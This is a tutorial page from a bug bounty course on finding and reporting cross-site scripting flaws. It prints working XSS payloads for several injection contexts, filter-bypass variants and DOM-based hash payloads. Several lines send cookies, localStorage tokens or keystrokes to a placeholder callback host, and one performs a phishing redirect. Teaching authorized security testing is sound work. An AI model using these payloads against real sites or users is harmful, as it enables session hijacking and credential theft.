This article is Day 7 of a 60-day bug bounty hunting course focused on finding and exploiting cross-site scripting (XSS) vulnerabilities. It teaches practitioners how to systematically hunt XSS across different vulnerability types and injection contexts, escalate findings to demonstrate real impact beyond proof-of-concept alerts, and write reports that maximize payouts. XSS payouts range from $0 for self-XSS to $15,000+ for stored XSS on admin panels, with the difference determined primarily by impact demonstration rather than technical difficulty.
- XSS payout structure reflects impact, not complexityStored XSS pays $500–$15,000, reflected XSS pays $100–$2,000, DOM XSS pays $200–$3,000, and self-XSS pays $0. The article emphasizes that a beginner demonstrating account takeover through session cookie theft earns more than an experienced hunter who only shows an alert box. The same vulnerability reported with specific impact scenarios versus generic proof-of-concept can earn three to ten times more.
- Four-step Burp Repeater workflow confirms XSS reliablyThe standard professional workflow involves: (1) browsing the target through Burp Proxy and sending interesting requests to Repeater, (2) injecting a canary string like 'xsscanary12345' to confirm reflection and identify the HTML context, (3) testing an img onerror payload to confirm unencoded reflection, and (4) escalating to cookie exfiltration using Burp Collaborator. This method systematically moves from confirmation to impact demonstration.
- Injection context determines payload selectionThe article identifies four distinct contexts requiring different payloads: HTML tag context uses event handlers like ``; HTML attribute context breaks out with quotes then adds event handlers; JavaScript string context uses `-alert(1)-" or `;alert(1)//`; and href/src attributes use the `javascript:` URI scheme. Testing a canary string first reveals the context before attempting payloads, preventing wasted attempts with wrong payload formats.
- Filter bypass progression from simple to complexThe article provides a tested progression: start with event handlers like `` when script tags are blocked; progress to case variation like ``; then try HTML encoding if keywords are filtered; finally test DOM XSS via URL hash which never reaches the server. This approach moves from simplest to complex, testing each in Burp Repeater before escalating efforts.
- DOM XSS in SPAs bypasses all server-side defensesDOM XSS occurs entirely in the browser when payloads sit in URL fragments (hash) or are processed by client-side JavaScript sinks like `innerHTML`, `eval()`, or `location.href`. Payloads in the URL hash never reach the server, completely bypassing WAFs and server-side sanitization. The article demonstrates hunting DOM XSS by searching DevTools Sources for dangerous sinks and testing hash-based payloads against them.
- Two-account test distinguishes stored from self-XSSThe article defines a critical verification: inject payload as Account A, log out, open an incognito browser, log in as Account B, and visit the page displaying Account A's content. If the payload executes in Account B's browser, it is stored XSS affecting other users and justifies reporting. If it executes only in Account A's browser, it is self-XSS with zero impact to others, earning $0 regardless of technical merit.
- Impact escalation demonstrates real-world attack chainsRather than stopping at alert(1), the article details specific escalation techniques: cookie exfiltration with `fetch('https://COLLAB.com/?c='+btoa(document.cookie))` demonstrates session hijacking; localStorage exfiltration captures JWT tokens or API keys; keyloggers prove credential theft potential; phishing redirects show user deception capability. Using Burp Collaborator or free interactsh as callback servers proves exfiltration without handling real user data.
- Professional report structure multiplies payout valueEffective reports include specific title format combining vulnerability type and actual impact, numbered reproducible steps with clear attacker/victim roles using separate browser sessions, specific impact scenarios rather than generic severity language, CVSS 3.1 score and CWE reference to signal professional quality, and actionable remediation steps. The article demonstrates this through a template showing how the same stored XSS vulnerability earns dramatically more when reported with full account takeover chain and session replay proof.
Bottom line: XSS hunting success depends on systematic reconnaissance of weak-filtering targets (dev/staging subdomains), methodical testing using Burp Repeater's four-step confirmation workflow, and escalating findings from alerts to demonstrable impact like session theft. The payout difference between a beginner finding the same vulnerability as an expert is determined by report quality and impact demonstration, not technical discovery complexity.
Day 7 / 60 — 11.7%
▶ D7: XSS Bug Bounty Hunting
D8: IDOR
D9–60: ···
XSS Types & What Each Pays
Where to Hunt XSS — High-Value Injection Points
User profile: name, bio
Admin panel input fields
Search reflecting query string
Error messages with URL
Query params: ?q= ?name= ?msg=
HTTP headers (User-Agent)
JSON API responses in views
Redirect params: ?next= ?url=
location.search (?param)
document.referrer
window.name
postMessage() handlers
Burp Suite Repeater XSS Workflow — Day 5 Skills Applied
From Day 5 you have Burp Suite configured with Repeater as your primary testing environment. Here is exactly how to apply those skills for XSS testing — the same workflow used in every professional web application assessment.
# 1. Browse target via Burp Proxy (Day 5 setup)
# 2. HTTP History → find requests with user input in response
# 3. Right-click → Send to Repeater
# 4. Inject canary string — confirm reflection context
q=xsscanary12345 → check where it appears in the response
# ─── Identify the reflection context ───────────────────────────
<p>xsscanary12345</p> # → HTML context
var q = “xsscanary12345”; # → JS string context
<input value=”xsscanary12345″> # → HTML attribute context
Injection Contexts — Match Your Payload to the Context
The most common reason beginners fail to confirm XSS on a genuinely vulnerable parameter is using the wrong payload for the injection context. Always confirm context with your canary string before testing payloads.
# Reflected as: <p>your input</p>
<img src=x onerror=alert(1)> # event handler, bypasses script filters
<script>alert(1)</script> # basic — often filtered
<svg onload=alert(1)> # SVG event handler
# ─── CONTEXT 2: Inside HTML attribute ───────────────────────────
# Reflected as: <input value=”your input”>
” onmouseover=”alert(1) # break out of double quote
‘ onmouseover=’alert(1) # break out of single quote
” autofocus onfocus=”alert(1) # fires automatically on focus
# ─── CONTEXT 3: Inside JavaScript string ────────────────────────
# Reflected as: var name = “your input”;
“-alert(1)-“ # close string, execute, reopen
‘;alert(1)// # terminate statement, comment rest
# ─── CONTEXT 4: href / src attribute ────────────────────────────
# Reflected as: <a href=”your input”>
javascript:alert(1) # JS URI scheme
Filter Bypass Techniques
<svg onload=alert(1)>
<iframe onload=alert(1)>
<details open ontoggle=alert(1)>
No <script> tag needed
<IMG SRC=x OnErRoR=alert(1)>
<script>alert(1)</script>
HTML entity encoding bypasses text filters
# Filter removes <script> once
# Remaining chars reassemble it
# Hash never sent to server
# Server WAF sees nothing
# 1. Start with event handlers (bypasses most script-tag filters)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# 2. Case variation if lowercase tags are filtered
<IMG SRC=X ONERROR=alert(1)>
# 3. HTML encoding if keywords are string-matched
<img src=x onerror=alert(1)>
# 4. DOM XSS if all server-side payloads fail
https://target.com/#<svg onload=alert(1)>
Escalating Impact — From alert(1) to Account Takeover
alert(1) proves execution. It does not prove impact. The difference between a $200 payout and a $2,000 payout on the same XSS is almost always the impact demonstration in the report. Use Burp Collaborator (included in Burp Professional) or the free interactsh as your callback server.
<img src=x onerror=”fetch(‘https://COLLAB.com/?c=’+btoa(document.cookie))”>
# ─── localStorage exfiltration (JWT tokens, API keys) ───────────
<img src=x onerror=”fetch(‘https://COLLAB.com/?ls=’+btoa(JSON.stringify(localStorage)))”>
# ─── Keylogger (demonstrate credential theft) ───────────────────
<img src=x onerror=”document.onkeypress=e=>fetch(‘https://COLLAB.com/k?k=’+e.key)”>
# ─── Redirect to phishing page ──────────────────────────────────
<img src=x onerror=”location.href=’https://your-phishing-page.com'”>
DOM XSS — Bypasses All Server-Side Filters
DOM XSS occurs entirely in the browser. The payload sits in the URL hash or is passed through client-side JavaScript sinks — it never reaches the server. Every WAF and server-side filter is bypassed completely. Increasingly common in modern React, Angular, and Vue SPAs.
# 1. In DevTools → Sources: search for dangerous sinks
innerHTML · outerHTML · document.write · eval() · location.href
# 2. Find which sinks read from user-controlled sources:
location.hash # URL fragment — most common DOM XSS source
location.search # query string
document.referrer # referrer header
# 3. Test hash-based payload (never reaches server)
https://target.com/page#<img src=x onerror=alert(1)>
https://target.com/page#<svg/onload=alert(1)>
Avoiding the Self-XSS Trap
# 1. Inject XSS payload in profile field (e.g. display name) as Account A
# 2. Log out. Open incognito / different browser.
# 3. Log in as Account B (or browse as anonymous user)
# 4. Visit the page where Account A’s name/content is displayed
# 5. Did alert fire in Account B’s browser?
YES → Stored XSS → other users affected → REPORT → high payout
NO → Self-XSS → only you are affected → DO NOT REPORT → $0
# Stored XSS (NOT self-XSS) examples:
Display name shown in comment feeds (all visitors see it)
Product review text (any visitor to that product page)
Support ticket visible to support staff
Automation — Dalfox & kxss
sudo apt install dalfox -y
# Scan a single URL:
dalfox url “https://dev.target.com/search?q=test”
# With session cookie (from Burp HTTP History — Day 5):
dalfox url “https://dev.target.com/search?q=test” –cookie “session=abc123”
# Pipe all URLs from file:
cat urls.txt | dalfox pipe
# ─── kxss — quick reflection checker ───────────────────────────
# go install github.com/tomnomnom/kxss@latest
cat urls_with_params.txt | kxss
# Returns only URLs where special chars reflect unencoded
# Then manually test those in Burp Repeater (Day 5)
Writing XSS Reports That Maximise Your Payout
Two hunters find the same stored XSS. One writes “XSS in profile name, payload: <script>alert(1)</script>“. The other writes the report below. The second earns three to ten times more for the same bug.
2. Go to /settings/profile
3. Set display name to:
<img src=x onerror=fetch(‘https://COLLAB.com/?c=’+btoa(document.cookie))>
4. Save profile
5. Log in as Victim B (separate browser)
6. Visit /users/attackerA
7. Collaborator receives Victim B’s session cookie
8. Replay cookie → full account access
→ Session cookie not HttpOnly protected
→ Credential capture via keylogger
→ Phishing redirect to attacker site
→ Stored XSS worm propagation possible
CVSS 3.1: 8.3 (High)
CWE-79: Improper Input Neutralisation
Day 5 gave you Burp Suite. Day 6 mapped the attack surface. Day 7 taught you to hunt XSS. Day 8 brings IDOR — the finding that consistently pays more per hour of hunting than almost any other bug class.
Frequently Asked Questions
The best XSS report I ever wrote was for a stored XSS in a notification system on a staging subdomain I discovered using the exact crt.sh + httpx workflow from Day 6. The subdomain had weaker filtering than production. I found the injection in Burp Repeater (Day 5 setup), demonstrated the full account takeover chain with a Burp Collaborator callback, filmed a video walkthrough showing session replay in a clean browser, and included CVSS score and CWE reference. The programme triaged it Critical and paid ten times their standard XSS rate. Same vulnerability. Better recon. Better documentation. Dramatically higher payout.


1 Comment